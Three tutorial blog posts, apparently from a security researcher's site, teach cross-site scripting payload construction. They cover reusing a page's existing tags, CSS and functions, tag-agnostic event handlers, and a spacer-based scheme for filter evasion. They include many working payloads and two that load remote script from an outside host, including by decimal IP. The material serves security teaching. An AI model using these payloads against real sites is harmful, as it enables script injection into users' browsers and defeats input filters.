When exploiting a XSS flaw, we may sometimes reuse some part of the code we are injecting into. It’s useful to bypass a filter which is not waiting for that.

For the first example we will see a reusing of a tag. Because in payloads of the form <tag handler=code> we don’t need to close the tag, we will reuse the closing tag of a <script> one:

<script>alert(1)//

or

<script>alert(1)<!–

But this is only possible if it’s an inline injection, i.e., if the opening and closing tags are in the same line of the formatted code. See the example below.

1) Before injection:

<input type=”text” value=””><script type=”text/javascript”> function x(){ do something }</script>

2) After injection:

<input type=”text” value=”“><script>alert(1)//“><script type=”text/javascript”> function x(){ do something }</script>

In red we have our payload and in blue we have the code we commented with our injection until the closing script tag is reached.

In case we don’t have this particular scenario we can use the <script> tag with a source like in this example:

<script src=//brutelogic.com.br/1>

Or shorter, using the IP in its undotted integer format:

<script src=//3334957647/1>

http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>

Try it.

Another way to reuse existing code is shown in webGun’s test page. If we try a payload from my previous post (“Agnostic Event Handlers“) like <brute onmouseover=alert(1)> we will get something like this (with a padding of A’s):

http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=alert(1)>AAAA

Try it.

But if we take a look at source code, we will see there are 2 files included, one for styles (css/test.css) and one for javascript (js/test.js):

Let’s play with them: if we add an “id” attribute to it, based on the loaded CSS (Cascading Style Sheet) file, we will have a broader surface to trigger the onmouseover event handler:

http://brutelogic.com.br/webgun/test.php?p=<brute id=test onmouseover=alert(1)>AAAA

Try it.

Actually it highly depends on the context of the injection and the design of the pages existing in the CSS declarations. But we can be able to break out of the current HTML context by closing tags, if there’s no filter escaping the slashes.

The same can be applied to existing javascript functions and variables: you can call it from inside your payload. In the next example, we will see an alert being perfomed by calling an existing “pop” function:

http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=pop(1)>AAAA

Try it.

It’s important to remember that we are not restricted to external files: these can also appear in the source, in a <style> or in a <script> section.

These are very simple examples for easier understanding and mind opening: in real world this kind of exploitation will be very specific, including ones based in javascript libraries like jquery.

#hack2learn

When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”.

When we use the term “regardless”, we mean almost any existent HTML tag (very few exceptions) and also XML ones (arbitrary tags).

They are very useful for filter evasion because with them we have no tag name restrictions. They also allow some useful tricks for XSS payload building (to be shown in future posts).

For the following examples of simple payloads with agnostic event handlers, we will use the arbitrary tag “<brute” with the help of the “contenteditable” attribute in some of them.

onblur

<brute contenteditable onblur=alert(1)>lose focus!

Trigger: click with the mouse left button on the “lose focus!” text (or use tab key to go to it) and then click out of it (or use tab key again).

onclick

<brute onclick=alert(1)>click this!

Trigger: click with the mouse left button on the “click this!” text.

oncopy

<brute oncopy=alert(1)>copy this!

Trigger: mark the “copy this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Copy the marked text with ctrl+c keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text.

oncontextmenu

<brute oncontextmenu=alert(1)>right click this!

Trigger: click with the mouse right button on the “right click this!” text.

oncut

<brute oncut=alert(1)>copy this!

Trigger: mark the “copy this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Copy the marked text with ctrl+x keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text.

ondblclick

<brute ondblclick=alert(1)>double click this!

Trigger: click twice with the mouse left button on the “double click this!” text.

ondrag

<brute ondrag=alert(1)>drag this!

Trigger: mark all the “drag this!” text clicking and holding the left button of the mouse on it, dragging the cursor. Click and hold the mouse left button on the marked text and drag it.

onfocus

<brute contenteditable onfocus=alert(1)>focus this!

Trigger: click with a mouse button on the “focus this!” text or use tab key to go to it.

oninput

<brute contenteditable oninput=alert(1)>input here!

Trigger: click with the mouse left button on “input here!” text or use tab key to go to it and then enter a character (alphanumeric or special ones).

onkeydown

<brute contenteditable onkeydown=alert(1)>press any key!

Trigger: click with the mouse left button on “press any key!” text or use tab key to go to it and then press a key.

onkeypress

<brute contenteditable onkeypress=alert(1)>press any key!

Trigger: click with the mouse left button on “press any key!” text or use tab key to go to it and then press a key.

onkeyup

<brute contenteditable onkeyup=alert(1)>press any key!

Trigger: click on “press any key!” text or use tab key to go to it and then press a key.

onmousedown

<brute onmousedown=alert(1)>click this!

Trigger: click with a mouse button on the “click this!” text.

onmousemove

<brute onmousemove=alert(1)>hover this!

Trigger: place the mouse pointer over the “hover this!” text and then move it.

onmouseout

<brute onmouseout=alert(1)>hover this!

Trigger: place the mouse pointer over the “hover this!” text and then place out of it.

onmouseover

<brute onmouseover=alert(1)>hover this!

Trigger: place the mouse pointer over the “hover this!” text.

onmouseup

<brute onmouseup=alert(1)>click this!

Trigger: click and release a mouse button on the “click this!” text.

onpaste

<brute contenteditable onpaste=alert(1)>paste here!

Trigger: mark any text somewhere by clicking and holding the left button of the mouse on it, dragging the cursor. Copy (or cut) the marked text with ctrl+c (or ctrl+x) keys or choosing it in the mouse’s right-click menu option. The tab key may also be used instead of marking the text. Usually we already have something to paste, so we may skip this step. After it, paste it in the “paste here!” text with ctrl+v keys or choosing it in the mouse’s right-click menu option

Although they require user interaction, depending on the context it may be trivial to trigger the payload. In some cases it’s almost unavoidable like in the payloads with the style attribute enlarging the surface for “onmouse” events for example:

<brute style=font-size:500px onmouseover=alert(1)>0000

 You may test them on:

webGun Test Page

#hack2learn

Aside from the classic XSS payload <script>alert(1)</script> and source based ones like <a href=x>, we can start building payloads using the following simple scheme:

<tag handler=code>

Where we have the HTML tag, the event handler associated with it and the javascript code to execute.

But although it’s true for short payloads like <svg onload=alert(1)>, some payloads like <b onclick=alert(1)> that requires user interaction for example, needs a text to be clicked for the javascript code be triggered:

<b onclick=alert(1)>click me!

Some payloads also need tag attribute(s) inside it:

<img src=x onerror=alert(1)>

And some needs something before it:

<frameset><frame src onload=alert(1)>

So let’s make a better scheme:

extra1 <tag extra2 handler=code> extra3

It has the following variation:

extra1 <tag handler=code extra2> extra3

Almost there. There’s also an important thing to consider: the spaces inside the tag. In the major browsers, we can have a slash between tag and handler, for example:

<svg/onload=alert(1)>

This and other characters are allowed between tag and handler, tag and attribute, attribute and handler etc without change the syntax.

Here is our final scheme* (colored for easier visualization):

extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

Variation:

extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)

Except for the first one, all spacers are optional and usually used for filter evasion. This is also the scheme used by the webGun XSS payload building tool:

As an example of the full scheme we have (built in webGun):

<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA

* In reflected XSS specifically, which is exploited via HTTP GET requests, we also have the URL hash part that can be used to trigger certain payloads (like the onscroll based ones) and also as an auxiliary for some javascript filter evasions.

#hack2learn